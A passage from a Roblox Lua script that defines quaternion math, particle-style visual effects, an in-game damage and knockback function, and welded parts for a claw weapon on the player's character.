  1639. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1640. end
  1641.  
  1642. function QuaternionFromCFrame(cf)
  1643. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1644. local trace = m00 + m11 + m22
  1645. if trace > 0 then
  1646. local s = math.sqrt(1 + trace)
  1647. local recip = 0.5/s
  1648. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1649. else
  1650. local i = 0
  1651. if m11 > m00 then
  1652. i = 1
  1653. end
  1654. if m22 > (i == 0 and m00 or m11) then
  1655. i = 2
  1656. end
  1657. if i == 0 then
  1658. local s = math.sqrt(m00-m11-m22+1)
  1659. local recip = 0.5/s
  1660. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1661. elseif i == 1 then
  1662. local s = math.sqrt(m11-m22-m00+1)
  1663. local recip = 0.5/s
  1664. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1665. elseif i == 2 then
  1666. local s = math.sqrt(m22-m00-m11+1)
  1667. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1668. end
  1669. end
  1670. end
  1671.  
  1672. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1673. local xs, ys, zs = x + x, y + y, z + z
  1674. local wx, wy, wz = w*xs, w*ys, w*zs
  1675. local xx = x*xs
  1676. local xy = x*ys
  1677. local xz = x*zs
  1678. local yy = y*ys
  1679. local yz = y*zs
  1680. local zz = z*zs
  1681. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1682. end
  1683.  
  1684. function QuaternionSlerp(a, b, t)
  1685. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1686. local startInterp, finishInterp;
  1687. if cosTheta >= 0.0001 then
  1688. if (1 - cosTheta) > 0.0001 then
  1689. local theta = math.acos(cosTheta)
  1690. local invSinTheta = 1/math.sin(theta)
  1691. startInterp = math.sin((1-t)*theta)*invSinTheta
  1692. finishInterp = math.sin(t*theta)*invSinTheta
  1693. else
  1694. startInterp = 1-t
  1695. finishInterp = t
  1696. end
  1697. else
  1698. if (1+cosTheta) > 0.0001 then
  1699. local theta = math.acos(-cosTheta)
  1700. local invSinTheta = 1/math.sin(theta)
  1701. startInterp = math.sin((t-1)*theta)*invSinTheta
  1702. finishInterp = math.sin(t*theta)*invSinTheta
  1703. else
  1704. startInterp = t-1
  1705. finishInterp = t
  1706. end
  1707. end
  1708. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1709. end
  1710.  
  1711. function rayCast(Pos, Dir, Max, Ignore) -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  1712. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  1713. end
  1714.  
  1715. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  1716. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1717. prt.Anchored=true
  1718. prt.CFrame=cframe
  1719. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  1720. --http://www.roblox.com/asset/?id=4770560
  1721. game:GetService("Debris"):AddItem(prt,2)
  1722. CF=prt.CFrame
  1723. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  1724. for i=0,1,0.2 do
  1725. wait()
  1726. Part.CFrame=CF*cf(0,0,-0.4)
  1727. end
  1728. for i=0,1,delay do
  1729. wait()
  1730. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  1731. Mesh.Scale=Mesh.Scale
  1732. end
  1733. for i=0,1,0.1 do
  1734. wait()
  1735. Part.Transparency=i
  1736. end
  1737. Part.Parent=nil
  1738. end),prt,msh,CF)
  1739. end
  1740.  
  1741. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1742. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1743. prt.Anchored=true
  1744. prt.CFrame=cframe
  1745. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1746. game:GetService("Debris"):AddItem(prt,5)
  1747. coroutine.resume(coroutine.create(function(Part,Mesh)
  1748. for i=0,1,delay do
  1749. wait()
  1750. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1751. Part.Transparency=i
  1752. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1753. end
  1754. Part.Parent=nil
  1755. end),prt,msh)
  1756. end
  1757.  
  1758. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  1759. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1760. prt.Anchored=false
  1761. prt.CFrame=cframe
  1762. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1763. local wld=weld(prt,prt,Parent,cframe)
  1764. game:GetService("Debris"):AddItem(prt,5)
  1765. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  1766. for i=0,1,delay do
  1767. wait()
  1768. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  1769. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1770. Part.Transparency=i
  1771. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1772. end
  1773. Part.Parent=nil
  1774. end),prt,msh,wld)
  1775. end
  1776.  
  1777. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  1778. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1779. prt.Anchored=false
  1780. prt.CFrame=cframe
  1781. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1782. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  1783. game:GetService("Debris"):AddItem(prt,5)
  1784. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  1785. for i=0,1,delay do
  1786. wait()
  1787. Weld.C0=euler(i*20,0,0)
  1788. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1789. Part.Transparency=i
  1790. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1791. end
  1792. Part.Parent=nil
  1793. end),prt,msh,wld)
  1794. end
  1795.  
  1796. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1797. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1798. prt.Anchored=true
  1799. prt.CFrame=cframe
  1800. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  1801. game:GetService("Debris"):AddItem(prt,2)
  1802. coroutine.resume(coroutine.create(function(Part,Mesh)
  1803. for i=0,1,delay do
  1804. wait()
  1805. Part.CFrame=Part.CFrame
  1806. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1807. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1808. prt2.Anchored=true
  1809. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1810. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  1811. game:GetService("Debris"):AddItem(prt2,2)
  1812. coroutine.resume(coroutine.create(function(Part,Mesh)
  1813. for i=0,1,0.1 do
  1814. wait()
  1815. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  1816. end
  1817. Part.Parent=nil
  1818. end),prt2,msh2)
  1819. end
  1820. for i=0,1,delay*2 do
  1821. wait()
  1822. Part.CFrame=Part.CFrame
  1823. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  1824. end
  1825. Part.Parent=nil
  1826. end),prt,msh)
  1827. end
  1828.  
  1829. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1830. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1831. prt.Anchored=true
  1832. prt.CFrame=cframe
  1833. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  1834. game:GetService("Debris"):AddItem(prt,2)
  1835. coroutine.resume(coroutine.create(function(Part,Mesh)
  1836. for i=0,1,delay do
  1837. wait()
  1838. Part.CFrame=Part.CFrame
  1839. Part.Transparency=i
  1840. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1841. end
  1842. Part.Parent=nil
  1843. end),prt,msh)
  1844. end
  1845.  
  1846. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  1847. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1848. prt.Anchored=true
  1849. prt.CFrame=cframe*euler(x2,y2,z2)
  1850. --"http://www.roblox.com/asset/?id=168892465"
  1851. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  1852. game:GetService("Debris"):AddItem(prt,2)
  1853. coroutine.resume(coroutine.create(function(Part,Mesh)
  1854. for i=0,1,0.03 do
  1855. wait()
  1856. Part.CFrame=Part.CFrame
  1857. Part.Transparency=i
  1858. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1859. end
  1860. Part.Parent=nil
  1861. end),prt,msh)
  1862. end
  1863.  
  1864. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  1865. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1866. prt.Anchored=true
  1867. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  1868. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  1869. game:GetService("Debris"):AddItem(prt,2)
  1870. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  1871. CF=Part.CFrame
  1872. Numbb=0
  1873. randnumb=math.random()/10
  1874. rand1=math.random()/10
  1875. for i=0,1,rand1 do
  1876. wait()
  1877. CF=CF*cf(0,math.random()/2,0)
  1878. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  1879. Part.CFrame=CF*euler(Numbb,0,0)
  1880. Part.Transparency=i
  1881. Numbb=Numbb+randnumb
  1882. end
  1883. Part.Parent=nil
  1884. end),prt,CF,Numbb,randnumb)
  1885. end
  1886.  
  1887. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1888. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1889. prt.Anchored=true
  1890. prt.CFrame=cframe
  1891. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  1892. game:GetService("Debris"):AddItem(prt,5)
  1893. coroutine.resume(coroutine.create(function(Part,Mesh)
  1894. for i=0,1,delay do
  1895. wait()
  1896. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  1897. Part.Transparency=i
  1898. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1899. end
  1900. Part.Parent=nil
  1901. end),prt,msh)
  1902. end
  1903.  
  1904. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1905. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1906. prt.Anchored=true
  1907. prt.CFrame=cframe
  1908. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  1909. game:GetService("Debris"):AddItem(prt,2)
  1910. coroutine.resume(coroutine.create(function(Part,Mesh)
  1911. for i=0,1,delay do
  1912. wait()
  1913. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  1914. Part.Transparency=i
  1915. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1916. end
  1917. Part.Parent=nil
  1918. end),prt,msh)
  1919. end
  1920.  
  1921. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  1922. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1923. prt.Anchored=true
  1924. prt.CFrame=cframe*cf(x,y,z)
  1925. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  1926. game:GetService("Debris"):AddItem(prt,5)
  1927. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  1928. local num=math.random()
  1929. local num2=math.random(-3,2)+math.random()
  1930. local numm=0
  1931. for i=0,1,delay*2 do
  1932. swait()
  1933. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  1934. Part.Transparency=i
  1935. numm=numm+0.01
  1936. end
  1937. Part.Parent=nil
  1938. Mesh.Parent=nil
  1939. end),prt,msh,x,y,z)
  1940. end
  1941.  
  1942. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  1943. if hit.Parent==nil then
  1944. return
  1945. end
  1946. h=hit.Parent:FindFirstChild("Humanoid")
  1947. for _,v in pairs(hit.Parent:children()) do
  1948. if v:IsA("Humanoid") then
  1949. h=v
  1950. end
  1951. end
  1952. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  1953. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  1954. end
  1955. if hit.Parent.className=="Hat" then
  1956. hit=hit.Parent.Parent:findFirstChild("Head")
  1957. end
  1958. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  1959. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  1960. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  1961. return
  1962. end]]
  1963. -- hs(hit,1.2)
  1964. c=Instance.new("ObjectValue")
  1965. c.Name="creator"
  1966. c.Value=game:service("Players").LocalPlayer
  1967. c.Parent=h
  1968. game:GetService("Debris"):AddItem(c,.5)
  1969. Damage=math.random(minim,maxim)
  1970. -- h:TakeDamage(Damage)
  1971. blocked=false
  1972. block=hit.Parent:findFirstChild("Block")
  1973. if block~=nil then
  1974. print(block.className)
  1975. if block.className=="NumberValue" then
  1976. if block.Value>0 then
  1977. blocked=true
  1978. if decreaseblock==nil then
  1979. block.Value=block.Value-1
  1980. end
  1981. end
  1982. end
  1983. if block.className=="IntValue" then
  1984. if block.Value>0 then
  1985. blocked=true
  1986. if decreaseblock~=nil then
  1987. block.Value=block.Value-1
  1988. end
  1989. end
  1990. end
  1991. end
  1992. if blocked==false then
  1993. -- h:TakeDamage(Damage)
  1994. h.Health=h.Health-Damage
  1995. showDamage(hit.Parent,Damage,.5,TorsoColor)
  1996. else
  1997. h.Health=h.Health-(Damage/2)
  1998. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  1999. end
  2000. if Type=="Knockdown" then
  2001. hum=hit.Parent.Humanoid
  2002. hum.PlatformStand=true
  2003. coroutine.resume(coroutine.create(function(HHumanoid)
  2004. swait(1)
  2005. HHumanoid.PlatformStand=false
  2006. end),hum)
  2007. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2008. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2009. local bodvol=Instance.new("BodyVelocity")
  2010. bodvol.velocity=angle*knockback
  2011. bodvol.P=5000
  2012. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2013. bodvol.Parent=hit
  2014. rl=Instance.new("BodyAngularVelocity")
  2015. rl.P=3000
  2016. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2017. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2018. rl.Parent=hit
  2019. game:GetService("Debris"):AddItem(bodvol,.5)
  2020. game:GetService("Debris"):AddItem(rl,.5)
  2021. elseif Type=="Normal" then
  2022. vp=Instance.new("BodyVelocity")
  2023. vp.P=500
  2024. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2025. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2026. if KnockbackType==1 then
  2027. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2028. elseif KnockbackType==2 then
  2029. vp.velocity=Property.CFrame.lookVector*knockback
  2030. end
  2031. if knockback>0 then
  2032. vp.Parent=hit.Parent.Torso
  2033. end
  2034. game:GetService("Debris"):AddItem(vp,.5)
  2035. elseif Type=="Up" then
  2036. local bodyVelocity=Instance.new("BodyVelocity")
  2037. bodyVelocity.velocity=vt(0,10,0)
  2038. bodyVelocity.P=1000
  2039. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2040. bodyVelocity.Parent=hit
  2041. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2042. rl=Instance.new("BodyAngularVelocity")
  2043. rl.P=3000
  2044. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2045. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2046. rl.Parent=hit
  2047. game:GetService("Debris"):AddItem(rl,.5)
  2048. elseif Type=="Snare" then
  2049. bp=Instance.new("BodyPosition")
  2050. bp.P=2000
  2051. bp.D=100
  2052. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2053. bp.position=hit.Parent.Torso.Position
  2054. bp.Parent=hit.Parent.Torso
  2055. game:GetService("Debris"):AddItem(bp,1)
  2056. elseif Type=="Target" then
  2057. if Targetting==false then
  2058. ZTarget=hit.Parent.Torso
  2059. coroutine.resume(coroutine.create(function(Part)
  2060. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2061. swait(5)
  2062. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2063. end),ZTarget)
  2064. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2065. targetgui=Instance.new("BillboardGui")
  2066. targetgui.Parent=ZTarget
  2067. targetgui.Size=UDim2.new(10,100,10,100)
  2068. targ=Instance.new("ImageLabel")
  2069. targ.Parent=targetgui
  2070. targ.BackgroundTransparency=1
  2071. targ.Image="rbxassetid://4834067"
  2072. targ.Size=UDim2.new(1,0,1,0)
  2073. cam.CameraType="Scriptable"
  2074. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2075. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2076. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2077. Targetting=true
  2078. RocketTarget=ZTarget
  2079. for i=1,Property do
  2080. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2081. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2082. swait()
  2083. end
  2084. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2085. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2086. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2087. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2088. end
  2089. Targetting=false
  2090. RocketTarget=nil
  2091. targetgui.Parent=nil
  2092. cam.CameraType="Custom"
  2093. end
  2094. end
  2095. debounce=Instance.new("BoolValue")
  2096. debounce.Name="DebounceHit"
  2097. debounce.Parent=hit.Parent
  2098. debounce.Value=true
  2099. game:GetService("Debris"):AddItem(debounce,Delay)
  2100. c=Instance.new("ObjectValue")
  2101. c.Name="creator"
  2102. c.Value=Player
  2103. c.Parent=h
  2104. game:GetService("Debris"):AddItem(c,.5)
  2105. CRIT=false
  2106. hitDeb=true
  2107. AttackPos=6
  2108. end
  2109. end
  2110.  
  2111. showDamage=function(Char,Dealt,du,Color)
  2112. m=Instance.new("Model")
  2113. m.Name=tostring(Dealt)
  2114. h=Instance.new("Humanoid")
  2115. h.Health=0
  2116. h.MaxHealth=0
  2117. h.Parent=m
  2118. c=Instance.new("Part")
  2119. c.Transparency=0
  2120. c.BrickColor=TorsoColor
  2121. c.Name="Head"
  2122. c.TopSurface=0
  2123. c.BottomSurface=0
  2124. c.formFactor="Plate"
  2125. c.Size=Vector3.new(1,.4,1)
  2126. ms=Instance.new("CylinderMesh")
  2127. ms.Scale=Vector3.new(.8,.8,.8)
  2128. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2129. if CRIT==true then
  2130. ms.Scale=Vector3.new(1,1.25,1)
  2131. end
  2132. ms.Parent=c
  2133. c.Reflectance=0
  2134. Instance.new("BodyGyro").Parent=c
  2135. c.Parent=m
  2136. if Char:findFirstChild("Head")~=nil then
  2137. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2138. elseif Char.Parent:findFirstChild("Head")~=nil then
  2139. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2140. end
  2141. f=Instance.new("BodyPosition")
  2142. f.P=2000
  2143. f.D=100
  2144. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2145. f.position=c.Position+Vector3.new(0,3,0)
  2146. f.Parent=c
  2147. game:GetService("Debris"):AddItem(m,.5+du)
  2148. c.CanCollide=false
  2149. m.Parent=workspace
  2150. c.CanCollide=false
  2151. end
  2152.  
  2153. Player=game:GetService('Players').LocalPlayer
  2154. Character=Player.Character
  2155. Mouse=Player:GetMouse()
  2156. m=Instance.new('Model',Character)
  2157.  
  2158.  
  2159. local function weldBetween(a, b)
  2160. local weldd = Instance.new("ManualWeld")
  2161. weldd.Part0 = a
  2162. weldd.Part1 = b
  2163. weldd.C0 = CFrame.new()
  2164. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2165. weldd.Parent = a
  2166. return weldd
  2167. end
  2168.  
  2169. it=Instance.new
  2170.  
  2171. function nooutline(part)
  2172. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2173. end
  2174.  
  2175. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2176. local fp=it("Part")
  2177. fp.formFactor=formfactor
  2178. fp.Parent=parent
  2179. fp.Reflectance=reflectance
  2180. fp.Transparency=transparency
  2181. fp.CanCollide=false
  2182. fp.Locked=true
  2183. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2184. fp.Name=name
  2185. fp.Size=size
  2186. fp.Position=Character.Torso.Position
  2187. nooutline(fp)
  2188. fp.Material=material
  2189. fp:BreakJoints()
  2190. return fp
  2191. end
  2192.  
  2193. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2194. local mesh=it(Mesh)
  2195. mesh.Parent=part
  2196. if Mesh=="SpecialMesh" then
  2197. mesh.MeshType=meshtype
  2198. mesh.MeshId=meshid
  2199. end
  2200. mesh.Offset=offset
  2201. mesh.Scale=scale
  2202. return mesh
  2203. end
  2204.  
  2205. function weld(parent,part0,part1,c0,c1)
  2206. local weld=it("Weld")
  2207. weld.Parent=parent
  2208. weld.Part0=part0
  2209. weld.Part1=part1
  2210. weld.C0=c0
  2211. weld.C1=c1
  2212. return weld
  2213. end
  2214.  
  2215. local modelzorz=Instance.new("Model")
  2216. modelzorz.Parent=Character
  2217. modelzorz.Name="Claw1"
  2218.  
  2219. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2220. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2221. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2222. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2223. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2224. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2225. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2226. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2227. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2228. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2229. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2230. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2231. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2232. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2233. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2234. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2235. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2236. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2237. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2238. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2239. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2240. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2241. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2242. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
